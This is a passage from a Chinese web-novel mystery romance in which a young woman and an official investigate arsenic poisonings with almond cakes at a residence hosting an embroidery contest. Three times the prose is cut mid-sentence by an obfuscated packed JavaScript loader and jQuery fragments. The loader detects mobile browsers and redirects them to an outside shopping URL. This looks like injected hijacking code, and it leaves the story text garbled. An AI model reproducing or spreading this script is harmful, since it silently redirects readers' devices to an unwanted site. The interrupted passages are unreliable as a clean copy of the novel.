那么,作为共同的好友,金宝鸯为什么要提这件事?她并非凶手,无需借此转移视线;也和二人无仇无怨,不存在栽赃的动机。 何况,此事虽隐秘,但绝到不了惊天秘密的程度,且与案件无关,也不可能是怕凶手灭口知情人。那么,金宝鸯明明可以在衙差走访时略略提及,又为什么当时一定要说? 欲语还休的怅然,还有郡主给她使的眼色。当时的她脸色通红,我一度以为是哭红的。但现在的她,不也一样吗? 那一刻,伤心是真的。但小鹿乱撞的春心,也是真的。她脱口而出的“秘密”为假,希望心上人多看看自己,多留意留意自己才是真的。 眼看金宝鸯满眼只有谢宁轩,而后者又和李怀远严肃的讨论问题。浮生便招了招手,将站在一旁的衙差韩桂叫了过来。 “什么情况,李公子和金小姐怎么在这?”浮生问。 “王小姐安好。”韩桂和我在贵妃醉酒案也时有交集,因而也算熟脸,打了个招呼后,才压低了声音汇报,“哦,是阳远郡主和李公子来看林二小姐,金小姐也跟过来了。大概是报丧了,林二小姐哭的啊,稀里哗啦的。她那丫鬟六桃急急忙忙的出去熬药,这会儿还没回来呢。” 浮生略点点头:“那你呢,你怎么也在这?你不是在前院查访呢吗?” “卑职是在前院查访,这不是碰见了回来的大人吗?大人交代,立即查问林二小姐昨晚的动向。” 浮生十分费解:“怎……为什么啊?” “卑职一开始也纳闷,咱们今早不是挨个都问过了吗?不过大人下令肯定有大人的道理。”韩桂语气一变,“卑职就把李府丫鬟又问了一遍,嘿!还真问出一条消息,就是不知道和案件有没有关系。” “什么?”我和浮生齐齐发问。 然韩桂未答,谢宁轩已经吩咐:“浮生,去敲门。” 木门“咯吱”而开的瞬间,一股浓郁药味飘出。如我昨日看到林二小姐的丫鬟,在外间烹药一样。 咦,那日她抵达,管家说早早就睡下了。难道,林二小姐身子有恙,久病不愈? 我的猜测在踏入房中后,得到了证实。 眼前这位林二小姐,巴掌大小的脸上泛着奇异的红色,消瘦、病气森森。唯一双大眼睛还算明亮,此刻却也蓄满了泪水。 她穿着白色中衣病歪歪的靠在枕头堆起的垫子上,春日里却还是盖着一床厚厚的棉被。见到我们进门,起身便要行礼。才刚支起一个胳膊,就又歪歪的倒了下去。 开完门的阳远郡主忙奔回到床边扶起林二小姐,柔声道:“霜玉,别起来了。宁轩哥,你是知道的,他一定会为你姐姐偿还公道,放心,放心!你病着就别行礼了。” 林二小姐仍挣扎着要起身,目光落在最后进来的金宝鸯脸上,带着难以置信和畏惧,声音软软泛着颤抖:“我姐姐、姐姐真的、真的……吗?” 金宝鸯避开了她的注目,亦落下泪来。 林二小姐怔怔的看着她,咬着唇,随后,她用既软糯又探求的眼神漫过在场每一个人。我亦不敢对视,只好看着她的梳妆台以做逃避。 倒是谢宁轩丝毫没有动容,淡淡说道:“林小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272610|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实已经身亡了。” 此言一出,林二小姐整个人僵住,重重咳嗽起来。郡主尚来不及递帕子,她嘴中的血已经流出来,洒在了崭新的被褥上。 郡主骇然,急急忙忙拿帕子去擦,一边回头抱怨:“宁轩哥你干什么啊!霜玉已经承受不了打击了,你怎么这么直接!” 郡主擦过林二小姐的嘴,强逼着林二小姐躺下。起身就是怒气勃勃,立刻推着我们出了房间,紧接着便重重关上了房门,连李怀远和金宝鸯也被一道轰了出来。 李怀远表情有些难堪,话语间也有埋怨:“谢兄怎么说话这样直接?” 谢宁轩静默片刻:“不试探试探怎么知道她是不是在装病。” 我倒是明白谢宁轩的用心。 林二小姐病中弱态,谁看到了都忍不住怜惜,难保她不会装病博可怜从而洗脱嫌疑。试探一下倒也不为过。只不过看这个样子,似乎林二小姐的病是真的。 李怀远讶然,显然没想到谢宁轩居然会怀疑林二小姐,开口劝道:“阳远方才说这个噩耗林二小姐迟早要知道,与其等到外人传入耳中,倒不如她这个表姐前去说,还能劝导劝导。又怕她出岔子来不及救治,非要我也跟着来,好有个照应。我们一进这房间,满屋子的药味,看起来不是在装病呦。” 我趁势问道:“那郡主说了噩耗,林二小姐什么反应?” 李怀远很是怜悯:“哎呦,当即就昏了过去,又是掐人中又是灌药,吓得我差点去请太医。醒来之后就抽抽搭搭哭个不停,看起来是真伤心。说来也奇怪,听阳远话里话外的意思,好像林家姐妹不和。”语毕,李怀远又摇摇头,“嗨,话也不能这么说,那毕竟是她亲姐姐嘛。” 哦,郡主也说林家两姐妹不和?是呀,我之所以怀疑到她头上,不就是两姐妹的失和已经体现在方方面面了吗? 那么,林二小姐假装悲痛,也不是不可能呀。 但是,郡主这反应也太奇怪吧。上午死者躺在地上,也没见她这么激动。同样是表妹,怎么差别这么大? 李怀远见众人沉吟不语,略拱拱手就又敲门进去安慰林二小姐了。 我望着李怀远的背影出神,心说他对这位林二小姐,倒是蛮殷切的。 这时,站在谢宁轩身侧的金宝鸯开腔了。她扭扭捏捏,又是咬唇又是卷帕子,但眼神始终是晶晶亮亮的。 “谢府丞,虹玉虽和妹妹不和,但霜玉生性善良,想来是不会做出这种事的。” 谢宁轩没有看她,也没什么表情:“多谢金小姐提供线索。但查案是公家的事,小姐还是回房歇着吧。” 金宝鸯脸色一白,委屈的扁了扁嘴,竟将视线投向了我。 我立马后退三步,心说千万别误会,这剧情走向可有点烂俗了啊。 谢宁轩亦看到了,只说:“她是我齐王府的人,可以协助调查。” 金宝鸯眼眶又红了,泪水沾到了睫毛上。 候在谢宁轩身后的韩桂看看自家领导,又看看金宝鸯,吃瓜吃的津津有味。浮生则一会儿抬头望天,一会儿低头咬指甲,显得不太自在。 唯有谢宁轩岿然不动,丝毫没有半分怜香惜玉。 气氛胶着难堪中,金宝鸯抬眼眷眷的望一望谢宁轩,终是福了福身,跑开了。 36.查案搭子 吃瓜群众齐齐盯着金宝鸯的背影,唯有正主丝毫不受影响,扭脸就跟我说:“羽书,林二小姐这儿,恐怕还得劳你再打探打探,看看有没有什么线索。” 我呆了三秒才反应过来。但是,“你为什么会怀疑到她头上?是寇湘湘说什么了还是你在林府发现了什么?” “是林府。”谢宁轩顿了顿,“我告知命案后,林夫人当时就晕了过去,林大人也悲痛难以自控,一直在问凶手是否擒住。然整个过程,他们都没有问过林二小姐的安危。这很不寻常,不是吗?接着,我去了林虹玉的屋子。她所住的地段在林府最佳,近身丫鬟就有八个。但林二小姐的闺房却在府中角落,门口只有一个丫鬟在缝缝补补,也唯有她,在听说消息后,第一时间问起了二小姐。那时林府上下都已知道林虹玉的死讯,可是这个丫鬟却是听我说起来才知道。可想而知,她的地位之低,待遇之冷落。” 浮生咋舌:“好家伙,差别这么大?怎么,林二小姐是庶出?” “并非。”回答的却是韩桂,眨巴着眼,“卑职听李府下人说,哦,那婆子也是听见了来观赛的小姐们议论,大抵也是死者的闺中熟识说的吧……” “说什么了?说重点!”浮生批评手下。 “是是!”韩桂点头,“听说这死者脾气不太好,平日和小姐妹玩闹没少撂脸子,所以密友不算多。她和妹妹,虽然都是夫人生的,却一个命格贵重,一个自小算命就说是克星命。所以林家从上到下都不喜欢二小姐,死者更是从不带妹妹一起玩呢!” ……我无语扶额。万恶的封建迷信啊! 谢宁轩抱臂思考道:“那这就讲得通了,她面临的不只是姐妹不和,更有家人的忽视,存在动机,不更合理了吗?” 我却产生些疑问:“既如此,她怎么也来观赛了?来了又不出门,早上的比赛也没去看,这又是为何?” 谢宁轩也回答不上,只说这正是疑点,最好由我细致询问。 我二人对话着,一旁的韩桂张嘴搔耳,一副欲言又止的模样。谢宁轩瞟见了:“还打听到什么了?直接说。” “是!那李府婆子还说了,她听见小姐们议论,说林夫人前阵儿为死者说了门亲事,可对方却想娶二小姐,死者气坏了!” 浮生立即跳脚:“两姐妹抢一门婚事!知道男方是谁吗?” 韩桂遗憾摇头:“这就不晓得了,婆子也就是窗下偷听。卑职本想把那几个议论的小姐叫住再细细问问,可婆子连具体在谁窗下听的,都搞不清。” 这倒是不难,林虹玉的交际圈就那么大,梳理查清很容易。至于算命与婚配,哪怕询问林府,也能得到确切的答案。只是,这些说法都对林二小姐极其不利啊。 “还不止如此。”谢宁轩又开口,带着些许冷峻,“她还可以拿到砒霜。” 在场众人皆是一惊,浮生先问:“怎么,她的丫鬟去过医馆?” 我则有了些许猜测:“莫非,是她那药……” 谢宁轩轻鼓了掌,朝我微笑道:“还是羽书敏锐。不错,正是来源她那药中。因她久病未愈,常年服用的一味药中,就有微量的砒霜。” 韩桂嘴张大:“药中有砒霜?那不是毒药吗?” 中医讲究是药三分毒,对于药理的把握主要是通过药量,多一分少一分都有可能颠覆出不同的效果。砒霜是毒药,但在某些中药调配下,也有治病救人的功效。这并不稀奇。 重点是,林二小姐有渠道搞到砒霜,且可以避人耳目。 我现在明白谢宁轩的怀疑何来了,林二小姐,的确有极大的嫌疑。可问题是,她若昨晚并未出门,如何能将有毒的糕点给姐姐呢? 谢宁轩颔首:“所以才需要你再套话,以察端倪呀。” 我撇撇嘴,心中不愿。郡主的呵护与用心是个人就能看懂,这番问话必然会令林二小姐痛苦,搞不好再吐波血,郡主还不得拔刀砍我啊。 我一个小蚁民,可真不想得罪权贵。 我摆摆手,就往西厢房里躲,谢宁轩竟还不罢休,跟进来劝:“瑶花班那女眷,你不是套话套的很好吗?我不方便出面,你可是最佳人选啊。” 我就是一围观群众,怎么就担负这重任了?这又不是我律所,你也不给我发工资呐。 我扭身就要拒绝,但没想到,谢宁轩正在我身后迈步,两人脚下错步相绊,我毫无防备,一个趔趄。 条件反射,谢宁轩一把拉住我的胳膊,将我牢牢按在了怀中。 “羽书,你没事吧?” 焦急的语气,张合的嘴唇。如一尾快要融化的红丝绒蛋糕,弥漫着可口的味道。 四目相对,浓密睫羽下,是静谧中汹涌的浪,在他的眼中肆虐。 心跳正成倍数增长,我猛地推开了他。 谢宁轩似是怔了一瞬,旋即却弯了弯嘴角,梨涡深深。 “大人,李公子说……”浮生的大嗓门突兀响起,好似暂停的画面被人重新按下播放键。我这才找回呼吸。 “来了。”谢宁轩回答,声音竟然还是稳得。只是,内里散发着一种喜悦,饶是我刻意不去多思,也很难忽视掉。 他没有再说什么,只留下一句“天色不早了,我还得回府衙写卷宗。这里就交给你了哦。”便转身离开了。 直到背影消失在宁闻阁外,我仍傻傻站着,脸上的热度,煮个鸡蛋怕也不是难事了。 *** 次日一早,郡主顶着熊猫眼离开后,我去敲响了东厢的门。没辙,我明明想要拒绝任务,奈何还没说清,就被谢宁轩浑水摸鱼安排了,只得趁郡主不在,前去试探一二。 开门的是同样熊猫眼的丫鬟,我见过她在东厢门外烹药,显然就是林二小姐的丫鬟六桃了。她探出脑袋来,轻声道:“我们小姐睡下了。” “门外是谁呀?”屋内传来软软的声线。林二小姐依旧病容倦怠,靠在软枕上不知觉又流眼泪。 “二小姐,你还记得我吗?我住在对面,昨天也来看望你了。” “快请进来。”林二小姐吩咐六桃,一面朝我微笑,“王小姐,我听郡主姐姐说了,昨日多谢你了。” “别客气,你好些了吗?” 林二小姐垂垂眼帘,扯不出一个微笑来。“我姐姐……怎么会莫名其妙就……” “二小姐快别伤心。这要是让令姐在天之灵看到了,不知道也要多么难过呢。” 林二小姐眼神黯淡了:“不瞒王小姐,我姐姐一直不喜欢我,我们姐妹俩关系不好。” 我有些诧异,她怎么就直白的说了出来,我还做好了和她演一出姐妹情深的戏码呢。 林二小姐捏捏帕子,自嘲道:“原是我不好,丢了林家的脸。姐姐不喜欢我也没什么,反正我也是常年躺在床上,左不过是命罢了。” 想来应该是妹妹久病,对姐姐的婚姻也造成一些困扰,毕竟这年头,男方普遍不愿意娶有隐疾的女子。 “姐姐这次有幸通过绣花大赛初赛,高兴坏了。临来的时候,母亲说我这两年身子骨有好转,叫我也来见识见识。”她垂泪诉道,“马车颠簸,我才来这儿,身子又有些不适。王小姐,你我有缘同居宁闻阁,那日我却闭门未见,实在是起不得身,请见谅。” 我赶忙拍拍她的手:“无碍的,你好好养着身子才是。” 林二小姐软软一笑,颇为无力:“昨日早上我本想起身去看姐姐比赛,谁知道还是身子不济。却没想到……” “二小姐别伤心。你姐姐确实去的委屈,你才更应该把知道的情况都说出来,才能更好的帮助官府破案,还你姐姐一个公道啊!”我趁势问,“你姐姐,可有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282540|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么仇家?” “都是未出阁的姑娘,能有什么仇家。”林二小姐垂下眼帘,“姐姐平日里是争强好胜了一些,左不过和姐妹拌拌嘴闹闹别扭,能有什么深仇大恨呐。” “那,”我斟酌着,问出最关键的问题,“二小姐可知道,嗯,你姐姐素日里,嗯,有没有,有没有心仪的对象?” 林二小姐病态的红色脸颊此时更是通红,惹得人颇感怜爱。她一味的低了头:“王小姐说笑了,我姐姐、我姐姐没有的。” “可是二小姐,”我不死心,继续问道,“你别怪我多嘴哈。你刚才说你们两姐妹并不亲近,那你姐姐若是有了心仪对象是不是也不会告诉你?” 林二小姐撇撇嘴角,似乎有些委屈:“姐姐的确不会告诉我。可是、可是姐姐每次出府都是应邀做客,每每也都是丫鬟婆子一大堆的跟着。在家中,姐姐也从来没有和谁书信往来过,因为族里有堂姐先前有过丑事,家里就管的特别严,姐姐是不可能有私会……有心仪对象的。” 虽然如此,那崔莺莺不也是相国之女吗?不也是一样和张生鸿雁相传,芳心暗许了吗? 不过至少可以确定一点,林虹玉大抵是不会在如此重视的比赛前,冒着被人发现污了名声的危险,和所谓的心仪男子见面。 可是她那反常的情绪,真的很像恋爱中的人啊。 眼见这条路走不通,我只好换个话题:“那你姐姐昨晚去了哪里,你知道吗?” 林二小姐错愕的看着我:“姐姐不是应该呆在湘水落中吗?” 我不欲解释,只道:“我不过随口问问。二小姐你呢,昨天出门了吗?” “咳咳咳咳”林二小姐说了会话便止不住的咳嗽,拿着帕子虚弱的摇摇手,算是回答了我的问题。守在一旁的六桃心疼不已,眼刀阵阵朝我劈来。 无奈身担任务,我只得再赖着聊了片刻才起身告辞,还不慎踢倒了林二小姐的绣花鞋。 头顶是一道毫不掩饰的嫌弃目光,大概是六桃正对我翻白眼……我呵呵堆笑,小心绕开了她放在桌上的药碗,逃也般告辞了。 得,这查访可真谓失败。什么话没套出来,倒招人厌。都怪谢宁轩,净给我安排出力不讨好的活计,他自己个儿倒是哪里去了?一上午不见人来…… 我碎碎念着,午饭都吃的不香。及至傍晚,房门终于被人敲响了,我急吼吼开门一瞧,却是浮生。 “诶,你怎么来了?谢宁……府丞大人呢?” 浮生憨憨一笑:“大人今天没过来,许是被圣上留下查问案情进展呢吧。卑职来,是查到一些线索,给小姐汇报。” “给我汇报?” “是啊!”浮生摊手,说的无比自然,“大人说了,他不在的期间,任何进展都要和小姐汇报的呀。” …… 什么鬼!谢宁轩,你是真把我当成你的查案搭子了! 浮生不知我的腹诽,飞快地讲起了今日探访所闻,极其碎片,从绣花赛程两位佳丽彼此不服拌嘴撕扯说到郡主浑噩走着若非李怀远扶住险些掉湖里,还提及金宝鸯哀哀哭湿了三条帕子。 看着他眉飞色舞一张一合的嘴,我的心思却飞远了。眼神没有着落点的乱绕,直到停到了床边那双粉蓝鸳鸯的绣花鞋上。 脑海中不知为何,莫名浮现出林虹玉的装扮。她穿着一双崭新的鞋子,应该是为了参赛专门准备的。而我去林虹玉房中查探时,她的一双旧鞋子在床边地上好端端搁着,定是她来到李府所穿的鞋子,我记得我还拿起来看了看。 两双绣花鞋…… 眼睫一跳,天哪,竟然是这样! 我猛地站起身,吓了浮生一跳。恰在此时,门外也响起了急促的敲门声,是韩桂在大喊:“王小姐!王小姐在吗?大人请你速去湖边,湖里又飘出个死人!” 37.簪子 我们赶到湖边时,天色已然灰暗。无数火把照耀,湖面泛起了异样的光芒。没想到好端端来看个比赛,竟会出这么多事。 谢宁轩负手而立,站在湖边沉思,纤长的身影孤傲疏离。李怀远则围着湖边走来走去,浑身散发着焦躁,不时朝湖面挥舞着什么,有很多小厮在湖里打捞着。 湖边的地上,白布盖着一个躯体……怎么回事,已经打捞上一具尸体,却仍在打捞,难道死的不止一个? “李怀远说在湖里找找,或许能有线索。” “线索?什么情况?谁死了?”我着急问。 谢宁轩表情肃然:“左都御史邱六公子。” “邱六……邱子昂?” 几天前才在酒家见到的翩翩贵公子……他和郡主打情骂俏的表情,不知为何如此清晰的浮现在我脑中。 “死于前天晚上。”谢宁轩森森的说。 前天晚上……什么?他比林虹玉死的还早! “怎么死的,不会、不会也是……”我忍不住惊慌起来。 “嗯,砒霜中毒,在喉咙间发现了杏仁糕末。 竟然也是杏仁糕,也是砒霜! 前天晚上,林虹玉不也是前天晚上拿到那有毒的糕点吗? 脑海中有光芒闪过,我立刻扭头去看,枫叶园的牌匾忽明忽暗地映现在火光中。 谢宁轩微微侧身,挡住了火光映下的诡异黑影。我稍稍舒了口气,擦掉额头汗珠:“具体什么时辰死的,知道了吗?” “令尊方才验看说中毒后落水,泡了两天两夜,具体时辰已无法推算。不过已经查到最后一个见到邱子昂的人,说亥时左右,看见他独自朝着湖边散步。” 亥时?前晚林虹玉回到湘水落的时候已经是亥正时分了,这中间可有一个小时的时间差啊。 难道是凶手给了林虹玉毒物之后,两人就分开了,之后遇见邱子昂在附近,保险起见,顺手灭口?而林虹玉走的是相反的方向,所以依旧是散步着慢悠悠回去,才会至亥正时候回到湘水落? 这个凶手好凶残啊!短短时间连杀两人! 眼前浮现林二小姐靠在枕垫上无声滑落的泪珠。 李怀远绕到我们跟前,刚好听到我们对林二小姐的怀疑,不由一僵:“怎么会、怎么会是……”说罢,他又哭丧着脸,“子昂老弟怎么这么倒霉,竟然遇上了这等子事。” 也难怪李怀远伤心。原本发生在自家的命案就够糟心了,绣花大赛已然叫停,第一起命案还没有破。转眼,自己的好朋友居然也被害身亡。 我忽然想起那晚在酒家见到的四个人,似乎郡主和邱子昂颇有情谊。这件事要是郡主知道…… 李怀远眼神黯淡,颇见郁郁:“还不敢通知阳远。她一直将子昂当哥哥一般对待,若是知道这事……” 竟然是兄妹之情,难道是我搞错了? 谢宁轩亦垂下眼帘,正准备开口安慰,却听湖中的小厮似乎有了发现,大声呼唤着李怀远,后者急忙跑到湖边。我和谢宁轩等了等,也不见有具体发现回来,便继续讨论起来。 “林二小姐有动机,有作案时间,恐怕这凶手……” 我懵了:“你怎么知道她有作案时间?” 两双绣花鞋的玄机我也是才想通,谢宁轩从何得知? “李府热闹非凡,既然有人看到林虹玉,就有人看见过林二小姐。”没想到,谢宁轩依靠的却是另一条线索。 “有人见到她外出?” “对。之前调查,都是围绕林虹玉的行踪。下午我特别安排了一轮针对林二小姐的盘查,果然有个丫鬟说看到一位披着淡紫色披风的小姐坐在枫叶园里,时不时咳嗽几句,似乎是在等人……” 我回忆起林虹玉房中的包袱,立即道:“林虹玉并没有淡紫色的衣服。” “不错。但林二小姐床边正挂着一件,我昨天注意到了。如今这个天气还需要用披风的,再结合咳嗽声,也只可能是她了。”谢宁轩赞赏颔首,“你呢,我看你对我的推论并不惊讶。怎么,你也找到指证她的线索了?” 是啊。那日我查访林虹玉房间时,曾注意到她的旧鞋底沾有红色黏土,当时我未留心。后来在林二小姐房中不慎踢乱了她的鞋子,整理的时候我亦瞥见了红色。 我一时没想通,直到浮生絮叨时,我盯着我的绣花鞋发呆。红色黏土,在京城很少见,偏偏李府就有。在哪?枫叶园啊,我和谢宁轩、浮生,不也见到过吗? 这就说明,林二小姐前天晚上是出去过的,而且她和林虹玉都去过枫叶园。 久病?林二小姐是真的久病吗?从面相来看,不假。可她自己也说了,正因有所好转,她才能来观赛。那么,入了李府就早早睡下,会是真的吗? 还有,久病之人,饮食需要严格控制,如杏仁糕一类的甜腻不好消化的食物,真的会是她吃的吗?会不会,她实际给了姐姐呢? 照我推测,前天晚上林二小姐避开众人见了姐姐。毕竟是姐妹,林虹玉对她递来的杏仁糕未曾防备。偏巧,与她同住的我,又是个没带丫鬟的朴素主儿,晚宴也好、呆在房中也罢,都没有多余的眼睛关注她的动向。 谢宁轩听完我的推测,眼神微微一亮:“羽书果然心思缜密。” 我却未觉轻松。邱子昂又是怎么回事? 这片湖边,离枫叶园不过几步之遥。他和林虹玉死亡的时间和地点都太接近了,表面上看,邱子昂应该是被灭口的。 按上述推测,就应该发生在林二小姐与姐姐分开后。姐姐朝着湘水落的方向走去,妹妹则掉头回宁闻阁。正巧碰见了邱子昂,林二小姐当时定无比惊慌,但她巧言,将另一枚有毒的杏仁糕给了邱子昂,后者不疑有他,服下中毒。本就在湖边,林二小姐稍稍一推,中毒的邱子昂便落水了。 等等,不对,这个推测还有问题。直觉告诉我,不对。 我抬头看谢宁轩,他微微垂着眼帘,正抱臂相对而立,左手手指轻轻、有节奏的敲击着臂膀。我知道,他也仍有疑虑。 可不等我们深想,就听湖边一声惊呼,李怀远正朝我们跑来,手上还拿着一支莹绿的翡翠蝴蝶银簪,虽被湖水泡的灰暗,上面的花纹却不难分辨出。 李怀远惶骇的递出簪子,谢宁轩接来谨慎一瞧,脸色骤变。我亦感不妙,凑近去看,就见栩栩如生的翡翠蝴蝶似乎有些眼熟,簪子背后刻着一个小小的“林”字。 谢宁轩当即让浮生去唤六梅过来。 来李府做客的女眷们,姓林的不止林虹玉一家,但这也太巧合了。如果这支簪子属于林虹玉,就说明她确实走过这条路,因为喝了酒的缘故,不慎将簪子落入湖中。但如果这支簪子属于林二小姐,那就更加确定了她的杀人嫌疑。簪子定是在推邱子昂落湖时掉下的。 如果说我们之前的猜测都只是推论,缺少证据。那么这只簪子,岂不就是最好的证据?我本来还怀有的疑虑,登时被这只簪子打乱。 六梅赶来湖边时,只一眼就确定了我们的推论。这只簪子当真属于林二小姐。林虹玉曾抢来把玩过几天,六梅断言不会看错。 衙差很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297471|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快包围了宁闻阁。林二小姐只流着泪说自己是被冤枉的。可是问起到底去见谁,谁能做不在场证明时,却又沉默不语。 无论她是否辩解,从东厢房中搜出的淡紫色披风和沾满了红土的鞋子,与蝴蝶银簪搁在一起,宣告了林二小姐的罪行。 浮生按照吩咐派出衙差三步一岗五步一哨,将林二小姐暂时软禁在宁闻阁。但他很不解,杀人凶犯已拿下,为什么不带回府衙? 我瞥一眼谢宁轩的侧脸,纤长的眉毛锁在一起,脸上也不见了梨涡。知道他心中仍充满着怀疑,同我一样。 “羽书,你怎么看?”谢宁轩跟我进了西厢,坐下便问,也不客气。 我也未作隐瞒,直接说道:“是,仍有疑点无法解释。比如,李府为绣花大赛重新修缮,所有格局在开始前应该不会公布吧?这里布局又不简单,那么林家两个闺阁小姐怎么可能事先知道,并提前相约至隐秘角落?” 谢宁轩也赞同:“不单如此。姐妹二人关系并不好,有什么理由,让林虹玉深夜独自去见妹妹?见妹妹而已,高兴又不高兴,反复无常,这种情绪又是怎么产生的?何况,林虹玉还说过,食盒中的杏仁糕不如她尝过的手艺。但如果是林二小姐给的,能有什么分别?” “另外,她为什么选择这个时机?想一泄多年来的怨气,可以理解,但为何不稳妥的等赛程再进行几轮,佳丽之间竞争激烈矛盾丛生的时候再下毒,以转移视线?而且她的药方是公开的,这简直可以说实名制投毒了啊。” 还有,从林虹玉案发早上自帕中取出杏仁糕来看,她应该也是这样放入怀中,才会令六梅与李府丫鬟未曾注意。但如此珍视的举动,却来自妹妹的赠与,这实在讲不通啊。 “还有最重要的一点,邱子昂的尸体上有两条绳子。”谢宁轩落地有声的说。 “两条绳子?”我惊讶挑眉。 按照推测,林二小姐是偶遇邱子昂,为保险起见故而灭口。那么,绳子哪来的?她即便装病,柔弱却是真的,如何捆绑一个倒地的大男人? “你不觉得吗?那两条绳子,更像是……” 谢宁轩话没说完,我已经想到:“绑了石头沉尸?” 谢宁轩的眼眸再次闪现微光,他弯了弯嘴角,梨涡又冒了出来。“是啊,这分明是沉尸。可能是突发的吗?林二小姐外出的时间允许她搬来石头完成这么难的操作吗?她毒杀姐姐的手段可不怎么高明,欲沉尸邱子昂的手法又颇为严谨,你不觉得矛盾吗?” 没错,的确矛盾重重。 我盯着谢宁轩紧缩的眉头,心说这也是个执着、一查到底的人,和我还真挺像。他此番未草草定案,正是为了留有余地。 可偏偏那林二小姐只会一味流泪,对我们的疑问什么也不肯说,宁愿背着罪名也不肯替自己解释。何况,邱子昂的尸体附近发现的簪子,这根本就铁定了她的罪行。 簪子,说起这只簪子,我真的觉得蛮眼熟的,但就是想不起来。 “谢宁轩,你觉得,”我心中浮起一个念头,“林二小姐是不是在维护什么人?” 谢宁轩眯了眯眼,表情微变。少顷,他嚯的站了起来:“我得出去一下。” “啊?你是不是发现什么了?喂!你发现什么了?” 谢宁轩脚步不停,完全不顾我的追问,竟三两步就离开了。 我瞠目结舌的站在原地,心中在骂娘。 但接下来响起的敲门声,登时打乱了我所有的思绪。 “王小姐吗?我是金宝鸯,可以见一面吗?” 38.爱情的力量 我震惊、机械的打开房门,金宝鸯正微笑着。她脱下了为了参赛穿着的华丽服饰,只着白色裙衫,发髻上只有纯银的装点。或许,她也正为好友服丧着。 “金小姐怎么来了?找我有事吗?” “我可以、可以进去吗?”金宝鸯幽幽地问,圆润小脸显得干枯不已。 “快请,快请。”我忙移步伸手,脑中仍没转过弯来。她怎么来找我了?浮生不是说无关的、被李府丫鬟证实一夜未外出的参赛佳丽们,早就允准归府了吗? 金宝鸯进屋后,撩裙坐下,端庄贤淑。她接过我递上的茶,轻声说了句谢谢。 然而接下来,她却迟迟没有表明来意。我二人默契的喝茶,喝茶,沉默的喝茶。 一盏茶后,我终是耐不住了,放下茶杯问道:“金小姐找我,可有什么事?” 一滴泪砸在茶杯中。 这什么情况?我懵了,手一抖,茶杯都被我碰倒了。 金宝鸯用帕子拭了拭泪,勉强堆起了笑容:“让妹妹笑话了。” “金小姐,你这是……” “妹妹,对不起,我私下找郡主打听了你的身世。”金宝鸯垂下眼帘,“原来,你和谢府丞,是青梅竹马啊。” 我就知道,就是为他来的。 我赶紧撇清关系:“不不不,金小姐误会了。原……我小时候,和谢府丞没什么交集。唔,你应该知道他的履历啊,一直都在读书,后又入宫做皇子陪读。我只是在王府客居几年,其实,接触真不多。” 但金宝鸯依旧怏怏:“妹妹这么讲,那真是更特殊了。” “什么?” 金宝鸯自嘲地笑了笑,轻声说道:“不瞒妹妹,我仰慕谢府丞已久。只是他、他从来对我都是冷冷淡淡。事实上,也不止我吧,他对谁都是那样……这还是我第一次见他与女子叙话良久,主动地叙话。” 我吸了口气,心说别啊,难道剧情下一步,要雌竞了? 金宝鸯见我没说话,又郁郁垂下眼帘。 我只能再解释:“金小姐,你真的误会了。我和谢府丞只是讨论案情而已,刚好在案发现场碰到了。其实,嗯,其实我们私下,没什么交集。” 我说谎了。 但我真的讨厌这种设定。喜欢,就冲着正主去啊,为难他身边的异性,真的很下头。更何况,我和谢宁轩,也的确没什么特殊关系嘛——虽然想到这里,我没来由的紧张起来。 不管怎么说,我不能让这官家小姐为难我,否则就我家这小门小户,能斗得过谁啊。 “金小姐既然问了郡主,应当知道我才回京吧?我和谢府丞的确不太熟,这次纯粹是偶遇了。”压下心虚,我又补了一句。 “妹妹莫怪,其实我也知道,此事不干妹妹的关系。”金宝鸯凄婉一笑,起身朝我福了福身,“此次来,是我冒昧了。我、我不该来……我只是、我只是……哎,妹妹莫怪我。” 我讶然于她的通透,却又不懂她是何用意。 但她已经朝门口走了,我也只得站起来去送,桌面上的水迹流了下来,我感到脚面一湿。 不过低头看的功夫,金宝鸯又回头说道:“妹妹,多谢你。我忽然想通了很多事,或许,我也应该勇敢一些,开朗一些。而不是只会哭泣。” 说罢,金宝鸯又福了福身,推门出去了。 我站在门口,呆了。 门外站着个人,是来给我送饭的韩桂。一头雾水的盯着金宝鸯的背影,他喃喃道:“我想起来了!这就是在羽林军帐外等过我们大人的那位小姐啊!我说怎么那么眼熟……” “羽林军帐外?”我好奇的问。 韩桂还眺望着远方,毫无防备的讲了出来:“是啊,我们大人和羽林军宋将军不是好友吗?他以前常去大帐中找宋将军……后来就不去了,有事也是传话让宋将军来我们府衙。咦,难道是为了避开这位小姐啊!” 